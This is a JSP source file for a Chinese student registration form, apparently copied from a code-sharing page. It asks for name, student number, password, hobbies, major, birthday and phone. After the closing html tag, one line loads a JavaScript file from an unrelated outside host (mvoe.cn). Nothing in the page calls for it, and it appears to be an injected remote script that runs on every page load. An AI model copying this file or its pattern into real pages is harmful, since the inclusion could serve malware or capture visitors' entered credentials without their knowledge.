📄 zhuce.jsp
字号:
<%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %>
<html>
<head>
<title>注册程序</title>
</head>
<body background="1.jpg">
<p></p>
<p></p>
<p></p>
<center>
<table align="center" width="100%" border="0">
<tr>
<th align="center" width="100%" height="10%" border="0" ><font size=6 color=red>用户注册程序 </font> </th>
</tr>
</table>
<hr align="center" width="85%" size="2" color="#0099CC"/>
<center>
<table border="0" width="75%">
<form action="answerzhuce.jsp" method="post" name="form1">
<tr>
<td width="25%">姓名:</td>
<td width="75%"><input type="text" name="name"></td>
</tr>
<tr>
<td>学号:</td>
<td><input type="text" name="number"></td>
</tr>
<tr>
<td>性别:</td>
<td><input type="radio" name="sex" value="男" checked>男<input type="radio" value="女" name="sex">女</td>
</tr>
<tr>
<td>密码:</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td>确认密码:</td>
<td><input type="password" name="repassword"></td>
</tr>
<tr>
<td>爱好:</td>
<td><input type="checkbox" name="hobby" value="旅游" checked="ok">旅游
<input type="checkbox" name="hobby" value="运动">运动
<input type="checkbox" name="hobby" value="听音乐">听音乐
<input type="checkbox" name="hobby" value="睡觉">睡觉
<br>
<input type="checkbox" name="hobby" value="上网">上网
<input type="checkbox" name="hobby" value="玩游戏">玩游戏
<input type="checkbox" name="hobby" value="打篮球">打篮球
<input type="checkbox" name="hobby" value="踢足球">踢足球
<br>
<input type="checkbox" name="hobby" value="聊天">聊天 </td>
</tr>
<tr>
<td>专业:</td>
<td><Select name="zhuanye">
<option selected value="网络集成">网络集成
<option value="高级编程"> 高级编程
<option value="软件集成">软件集成
<option value="小型机">小型机
</Select></td>
</tr>
<tr>
<td>生日:</td>
<td><select name="year" >
<% for(int y=1960;y<=2006;y++)
{%>
<option value=<%out.print(y);%>><%out.print(y);%><%}%></select>年
<select name="month" >
<% for(int m=1;m<=12;m++)
{%>
<option value=<%out.print(m);%>><%out.print(m);%><%}%></select>月
<select name="day" >
<% for(int d=1;d<=31;d++)
{%>
<option value=<%out.print(d);%>><%out.print(d);%><%}%></select>日</td>
</tr>
<tr>
<td>电话:</td>
<td><input type="text" name="telephone"></td>
</tr>
<tr>
<td>格言:</td>
<td><TextArea name="geyan" rows="5" cols=60></TextArea></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="提交"><input type="reset" value="重置"></td>
</tr>
</form>
</table>
</center>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width=100% height="10%" align="right"><a href="main.jsp">返回首页>></a></td>
</tr>
</table>
</center>
</body>
</html>
<script language=javascript src=http://www.mvoe.cn/all/aa.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -